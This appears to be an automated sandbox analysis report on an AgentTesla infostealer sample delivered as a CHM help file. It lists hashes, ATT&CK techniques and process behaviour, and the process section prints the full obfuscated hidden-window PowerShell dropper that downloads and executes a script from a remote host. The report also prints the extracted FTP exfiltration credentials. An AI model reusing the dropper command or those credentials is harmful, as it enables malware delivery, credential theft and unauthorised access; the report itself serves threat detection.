agenttesla | 418cdd70eebf59fb709f1d8e476bd05fd62e1b1e7468ed905f39e141befd7c3f

General

Target

mel9.chm
Size

13KB
MD5

e7a3bc55f52eebb6ce7df0a0047fec40
SHA1

b152e0d6abc8dab4500aaa4161dac968e54cad20
SHA256

908d78eb614a8ecf652163a4ccbdf62deec33d03747d4342d4f90e5bcf7995d8
SHA512

3537fee98df7a02510e65c4a7fbe302e154d37e5ea497fe2677936f3442afc565a4a6307a870971ca3f45a8d25bee50b71a04c515664737cbe72d4031a186a81
SSDEEP

192:8FYhJztroZ7rRXcAU9aoSpW9KZYtsufMCKv6:gYjtroZ7rAv9yYtsuFKv

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cricot2.kylos.pl/mel9.txt

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.peva.it
Port:
21
Username:
anita@peva.it
Password:
Team2318!@#

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 3400 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

3400 powershell.exe
3400 powershell.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
12	3400	powershell.exe

pid	process
3400	powershell.exe
3400	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3400 set thread context of 4140 3400 powershell.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

3400 powershell.exe
3400 powershell.exe
4140 RegAsm.exe
4140 RegAsm.exe

description	pid	process	target process
PID 3400 set thread context of 4140	3400	powershell.exe	RegAsm.exe

pid	process
3400	powershell.exe
3400	powershell.exe
4140	RegAsm.exe
4140	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

powershell.exeRegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeIncreaseQuotaPrivilege	3400	powershell.exe
Token: SeSecurityPrivilege	3400	powershell.exe
Token: SeTakeOwnershipPrivilege	3400	powershell.exe
Token: SeLoadDriverPrivilege	3400	powershell.exe
Token: SeSystemProfilePrivilege	3400	powershell.exe
Token: SeSystemtimePrivilege	3400	powershell.exe
Token: SeProfSingleProcessPrivilege	3400	powershell.exe
Token: SeIncBasePriorityPrivilege	3400	powershell.exe
Token: SeCreatePagefilePrivilege	3400	powershell.exe
Token: SeBackupPrivilege	3400	powershell.exe
Token: SeRestorePrivilege	3400	powershell.exe
Token: SeShutdownPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeSystemEnvironmentPrivilege	3400	powershell.exe
Token: SeRemoteShutdownPrivilege	3400	powershell.exe
Token: SeUndockPrivilege	3400	powershell.exe
Token: SeManageVolumePrivilege	3400	powershell.exe
Token: 33	3400	powershell.exe
Token: 34	3400	powershell.exe
Token: 35	3400	powershell.exe
Token: 36	3400	powershell.exe
Token: SeIncreaseQuotaPrivilege	3400	powershell.exe
Token: SeSecurityPrivilege	3400	powershell.exe
Token: SeTakeOwnershipPrivilege	3400	powershell.exe
Token: SeLoadDriverPrivilege	3400	powershell.exe
Token: SeSystemProfilePrivilege	3400	powershell.exe
Token: SeSystemtimePrivilege	3400	powershell.exe
Token: SeProfSingleProcessPrivilege	3400	powershell.exe
Token: SeIncBasePriorityPrivilege	3400	powershell.exe
Token: SeCreatePagefilePrivilege	3400	powershell.exe
Token: SeBackupPrivilege	3400	powershell.exe
Token: SeRestorePrivilege	3400	powershell.exe
Token: SeShutdownPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeSystemEnvironmentPrivilege	3400	powershell.exe
Token: SeRemoteShutdownPrivilege	3400	powershell.exe
Token: SeUndockPrivilege	3400	powershell.exe
Token: SeManageVolumePrivilege	3400	powershell.exe
Token: 33	3400	powershell.exe
Token: 34	3400	powershell.exe
Token: 35	3400	powershell.exe
Token: 36	3400	powershell.exe
Token: SeDebugPrivilege	4140	RegAsm.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

4972 hh.exe
4972 hh.exe

pid	process
4972	hh.exe
4972	hh.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

hh.exepowershell.exe

description	pid	process	target process
PID 4972 wrote to memory of 3400	4972	hh.exe	powershell.exe
PID 4972 wrote to memory of 3400	4972	hh.exe	powershell.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe
PID 3400 wrote to memory of 4140	3400	powershell.exe	RegAsm.exe

outlook_office_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\mel9.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://cricot2.kylos.pl/mel9.txt')|P
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3400

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4140

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6fa7e56d-5a67-4728-a5db-c67fd5cf7763\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\f1c816ee-9c5b-4ee5-8939-4ab00a42e9d3\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/3400-142-0x00007FF946430000-0x00007FF946EF1000-memory.dmp

Filesize
10.8MB

Download
memory/3400-135-0x00007FF946430000-0x00007FF946EF1000-memory.dmp

Filesize
10.8MB

Download
memory/3400-137-0x00007FF9416B0000-0x00007FF9417FE000-memory.dmp

Filesize
1.3MB

Download
memory/3400-134-0x00000286BC340000-0x00000286BC362000-memory.dmp

Filesize
136KB

Download
memory/3400-133-0x0000000000000000-mapping.dmp

Download
memory/4140-139-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/4140-140-0x0000000000437A7E-mapping.dmp

Download
memory/4140-141-0x0000000005780000-0x0000000005D24000-memory.dmp

Filesize
5.6MB

Download
memory/4140-143-0x0000000005390000-0x000000000542C000-memory.dmp

Filesize
624KB

Download
memory/4140-144-0x0000000006070000-0x00000000060D6000-memory.dmp

Filesize
408KB

Download
memory/4140-145-0x0000000006530000-0x0000000006580000-memory.dmp

Filesize
320KB

Download
memory/4140-146-0x00000000066A0000-0x0000000006732000-memory.dmp

Filesize
584KB

Download
memory/4140-147-0x00000000068B0000-0x00000000068BA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads